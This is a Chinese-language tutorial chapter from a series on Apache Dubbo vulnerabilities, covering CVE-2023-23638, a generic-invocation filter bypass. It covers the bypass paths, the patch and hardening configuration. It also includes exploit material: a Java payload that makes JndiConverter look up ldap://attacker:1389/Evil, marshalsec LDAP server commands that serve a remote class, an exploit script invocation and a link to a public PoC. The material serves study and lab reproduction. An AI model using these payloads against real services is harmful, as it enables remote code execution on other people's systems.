Dubbo漏洞 - 14 CVE-2023-23638

CVE-2023-23638 — 泛化调用安全检查绕过

漏洞概述

CVE 编号:CVE-2023-23638

CVSS 评分:9.8(Critical)

影响版本:Dubbo 2.7.x < 2.7.21, 3.0.x < 3.0.13, 3.1.x < 3.1.5

修复版本:2.7.22, 3.0.14, 3.1.6

攻击协议:Dubbo 协议

本质:CVE-2021-30179 修复的绕过

漏洞原理

背景

CVE-2021-30179 修复后,generic=nativejava 被禁用

GenericFilter 增加了严格的泛化调用类型白名单

但安全研究人员发现了新的绕过方式

绕过方式

CVE-2021-30179 修复时,只处理了 GenericFilter 的入口检查

但 Dubbo 的反序列化流程中还有其他路径可以触发不安全的反序列化

攻击者通过特殊构造的请求参数,绕过 GenericFilter 的安全检查

几种绕过路径(公开信息)

路径一:通过 PojoUtils

GenericFilter 在处理泛化调用结果时,使用 PojoUtils.realize() 还原对象

PojoUtils 在某些条件下可以被利用来实例化任意类

路径二:通过自定义序列化

利用 Dubbo 的 Serialization SPI 扩展机制

构造特殊的 attachment 参数,触发非预期的反序列化路径

路径三:通过 callback 机制

Dubbo 支持 callback 参数类型

攻击者可以利用 callback 的反序列化过程绕过检查

攻击示例(概念性)

1
2
3
4
5
6
7
8
9
RPC 请求:
- method: "$invoke"
- attachments:
"generic": "true" ← 使用合法的 generic 类型
"特殊参数": "绕过值" ← 触发非预期代码路径
- 参数中包含精心构造的对象
→ 绕过 GenericFilter 检查
→ 到达不安全的反序列化点
→ RCE

具体绕过技术深入分析

绕过一:利用 PojoUtils.realize() 实例化任意类

原理

GenericFilter 在处理泛化调用返回值时调用 PojoUtils.generalize()PojoUtils.realize()

realize() 接受一个 Map,根据 class 字段反射创建对象并调用 setter

虽然 CVE-2021-32824 修复了直接 Telnet 调用 PojoUtils 的问题

但 GenericFilter 内部的 realize() 调用路径没有被同步加固

攻击构造

1
2
3
4
5
6
7
8
9
10
// 攻击者发送泛化调用,参数中嵌入恶意 Map
Map<String, Object> maliciousParam = new HashMap<>();
maliciousParam.put("class", "org.apache.xbean.propertyeditor.JndiConverter");
maliciousParam.put("asText", "ldap://attacker:1389/Evil");

// 通过 $invoke 发送
// GenericFilter.invoke() → PojoUtils.realize(maliciousParam, ...)
// → 实例化 JndiConverter
// → 调用 setAsText("ldap://attacker:1389/Evil")
// → JNDI lookup → RCE

绕过二:利用 native-java 序列化的变体

原理

CVE-2021-30179 禁用了 generic=nativejava

但 Dubbo 内部还有一个 generic=raw.return 模式

raw.return 模式下,GenericFilter 对参数的处理方式不同

攻击者可以在 raw.return 模式的参数中嵌入恶意对象

还有一个更隐蔽的路径

Dubbo 的 Invocation 对象的 attachments 中可以携带任意 key-value

某些内部处理逻辑会读取 attachment 中的值并反序列化

攻击者通过精心设置 attachment 键值对,触发非预期的反序列化

绕过三:利用 Dubbo SPI 机制

原理

Dubbo 使用 SPI(Service Provider Interface)加载扩展

Serialization 是一个 SPI 扩展点

攻击者可以通过 attachment 指定自定义的序列化扩展名

如果目标 classpath 中存在不安全的 Serialization 实现

就可以绕过 GenericFilter 的检查

示例

1
2
3
4
5
6
attachment: {
"generic": "true",
"serialization": "fastjson" // 指定使用 fastjson 反序列化
}
// fastjson 有 autoType 漏洞
// → 绕过 Hessian2 的黑白名单

环境搭建

1
2
cd environments/cve-2023-23638
docker-compose up -d

复现步骤

方法一:PojoUtils 路径

1
2
3
4
5
6
7
8
# 1. 启动 JNDI 恶意服务
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer \
"http://your_ip:8888/#Evil" 1389

# 2. 发送泛化调用(需要自定义 PoC 工具)
python exploits/cve_2023_23638_generic.py \
--target 127.0.0.1 --port 20880 \
--payload payload.bin

方法二:使用公开 PoC

GitHub 上有针对此 CVE 的专用 PoC 项目

https://github.com/YYHYlh/Apache-Dubbo-CVE-2023-23638-exp

注意验证来源安全性后再使用

补丁分析

修复方式

加强了 GenericFilter 的全路径安全检查

不仅检查入口参数,还检查中间处理过程

增强了 PojoUtils.realize() 的类型限制

对 callback 和其他特殊参数类型也加入了安全过滤

安全配置建议

1
2
3
4
5
# 启用严格模式(推荐)
dubbo.application.serialize-check-status=STRICT

# 自定义白名单
dubbo.application.trust-serialize-class-level=3

思考与延伸

安全补丁绕过是一个反复出现的主题

CVE-2020-1948 → CVE-2020-11995(绕过 HashMap 检查)

CVE-2021-30179 → CVE-2023-23638(绕过 GenericFilter 检查)

CVE-2021-25641 → 后续 SerID 验证绕过

每次修复只堵住了已知的攻击路径,新的路径可能被发现

这说明了纵深防御的重要性:不能只依赖单一安全检查点


上一章 目录 下一章
13-CVE-2021-43297 Dubbo漏洞 15-CVE-2023-29234